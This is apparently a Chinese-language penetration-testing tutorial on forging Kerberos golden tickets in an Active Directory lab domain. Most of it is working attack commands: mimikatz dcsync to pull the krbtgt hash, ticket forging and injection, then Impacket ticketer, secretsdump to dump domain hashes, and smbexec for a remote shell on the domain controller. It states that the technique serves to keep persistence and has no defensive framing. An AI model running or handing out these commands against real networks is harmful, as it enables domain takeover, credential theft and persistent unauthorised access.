前言
我们前面都知道黄金票据是发生在AS_REP阶段的,它主要伪造的TGT认购权证,所需要的是
krbtgt用户的Hash,因为enc-part是通过krbtgt用户的hash进行加密的,所以如果我们可以
获取到krbtgt用户hash,那么自然就可以伪造TGT认购权证。
如下是制作黄金票据的条件:
♾️ text 代码:1.域名
2.域的SID值 (Object Security ID)
3.KRBTGT账户NTLM密码哈希
4.需要伪造的用户名 //一般都是域管理员
那么我们首先是需要获取到krbtgt用户的hash,这一般都是拿到域控之后才能获取的到的,所以黄金票据一般也用于权限维持。
操作介绍:
一:mimikatz
这里我们可以直接在DC上使用mimikatz进行导出。
♾️ text 代码:privilege::debug
lsadump::dcsync /domain:yunmengsec.com /user:krbtgt
我们将SID和krbtgt用户hash提取出来即可。
导出文本:
♾️ text 代码:mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:yunmengsec.com /user:krbtgt" "exit" > 1.txt
除了这个方式来获取域的SID之外,我们也可以使用wmic命令来进行获取。
♾️ text 代码:wmic useraccount get name,sid
现在我们已经获取到了域SID以及krbtgt账户的hash,现在我们就可以进行黄金票据攻击了。
首先在win10这台机器上是无法访问DC的cifs服务的。
现在我们将mimikatz传递上去,使用如下命令进行金票传递。
♾️ text 代码:kerberos::golden /user:administrator(这里是伪造的用户 一般都是域管理员) /domain:yunmengsec.com(域名) /sid:使用mimikatz导出来的域SID /krbtgt:krbtgt用户的hash /ticket:yunmengsec.kirbi(文件在当前目录)
将票据注入到内存中。
♾️ text 代码:kerberos::ptt yunmengsec.kirbi
使用klist查看Kerberos身份验证的票据:
二:impacket套件(远程申请)
这里我用kali来演示,kali自带这个插件路径:/usr/share/doc/python3-impacket/examples/
♾️ text 代码:python3 ticketer.py -domain-sid S-1-5-21-3708176772-1742723060-3616893896 -nthash 020e7d1a8421a3219131c1b7ea106710 -domain yunmengsec.com administrator
注册完成(获得权限),票据为:administrator.ccache,通过export命令导入票据。
♾️ text 代码:export KRB5CCNAME=administrator.ccache
然后我们就可以使用secretsdump工具导出所有用户的hash。
♾️ text 代码:python3 secretsdump.py -k -no-pass administrator@dc.yunmengsec.com -dc-ip 10.10.211.25 -just-dc-user administrator
也可以直接访问域控。
♾️ text 代码:python3 smbexec.py -no-pass -k administrator@dc.yunmengsec.com -dc-ip 10.10.211.25